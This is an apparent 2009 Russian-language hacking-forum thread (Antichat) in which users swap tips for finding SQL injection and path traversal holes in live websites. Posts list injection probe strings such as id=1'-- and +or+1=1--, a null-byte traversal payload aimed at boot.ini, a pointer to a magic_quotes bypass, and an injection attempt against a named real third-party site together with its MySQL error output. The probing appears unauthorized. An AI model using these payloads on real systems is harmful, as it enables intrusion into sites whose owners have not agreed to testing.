 |
|
15.04.2009, 13:52
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
Iceangel_
смотри репу)
меджик квотс обходятся
|
|
|
15.04.2009, 20:47
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
С нами:
9567480
Репутация:
61
|
|
Я тут пытался провести SQL-inj И у меня не получается, помогите плиз...
Ошибочка id=1'
Так тоже ошибка id=1'--
Потом востановил запрос id=1--
Затем попробовал попробовать id=1+and+1=1-- ошибки нет
id=1+and+1=2-- ошибки нет
И так тоже нет ошибки id=1+group+by+99--
как можно попробовать?
|
|
|
|
15.04.2009, 21:06
|
|
Познающий
Регистрация: 24.04.2007
Сообщений: 92
С нами:
10025299
Репутация:
412
|
|
Мде ни текста ошибки,ни хрена...(
Урл вообще в идеале.....
Поставь "+" в конец запроса,может из за отсутсвия пробела дальнейший запрос не обрезаеться(Это лишь предположение,мож скули нет,вообще) |
|
|
|
15.04.2009, 22:08
|
|
Познающий
Регистрация: 19.08.2008
Сообщений: 33
С нами:
9330638
Репутация:
93
|
|
Byrger
если id=1+or+1=1-- и id=1+or+1=2-- разные тогда это скуля
если нет тогда пробуй id=1'+or+1=1-- id=1'+or+1=2--
|
|
|
|
16.04.2009, 15:48
|
|
Новичок
Регистрация: 08.09.2008
Сообщений: 21
С нами:
9300787
Репутация:
7
|
|
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-3,3' at line 1
Можно тут что-нибудь сделать?
|
|
|
|
16.04.2009, 15:54
|
|
Познающий
Регистрация: 14.12.2007
Сообщений: 79
С нами:
9688243
Репутация:
75
|
|
Сообщение от Iceangel_
2 4adr0s
нет, можешь подняться выше: ../../../../boot.ini%00
если директива magic_quotes включена, то попробуй обойти http://raz0r.name/articles/null-byte-alternative/
з.ы. 2 Spyder, я знаю, но у меня на практике, в боевых условиях ниразу не выходило, поэтому так и написал
Неа... все жестко, и мир жесток...
Код:
Warning: include(tmpl/../../../../../../../../../../boot.ini/error.htm) [function.include]: failed to open stream: No such file or directory in C:\Inetpub\wwwroot
|
|
|
|
16.04.2009, 16:03
|
|
Новичок
Регистрация: 08.09.2008
Сообщений: 21
С нами:
9300787
Репутация:
7
|
|
http://catalog.uvaga.by/model_mark/?go=-1+order+by+1--
|
|
|
|
16.04.2009, 16:41
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами:
9204308
Репутация:
256
|
|
Сообщение от IDW
http://catalog.uvaga.by/model_mark/?go=-1+order+by+1--
А ты понаблюдай за запросом и поведением ошибки и сам попробуй понять можно или нет:
Код:
http://catalog.uvaga.by/model_mark/?go=-1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-3,3' at line 1
Код:
http://catalog.uvaga.by/model_mark/?go=-10
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-30,3' at line 1
Код:
http://catalog.uvaga.by/model_mark/?go=-100
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-300,3' at line 1
|
|
|
|
16.04.2009, 19:36
|
|
Познающий
Регистрация: 19.08.2008
Сообщений: 33
С нами:
9330638
Репутация:
93
|
|
IDW, DrAssault
нету там скули
|
|
|
|
16.04.2009, 20:08
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами:
9204308
Репутация:
256
|
|
Сообщение от VITАL
IDW, DrAssault
нету там скули
Ну как же мы без тебя то не догадались у? Ошибка возникает из за того что значения лимита не может быть отрицательным вот и всё, естественно инъекцией и не пахло, я просто показал человеку как изменяется характер ошибки в результате тех или иных действий, хотелось чтобы он сам мозгами шевельнул, а не ты ему сказал, надеюсь это ясно!!!
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
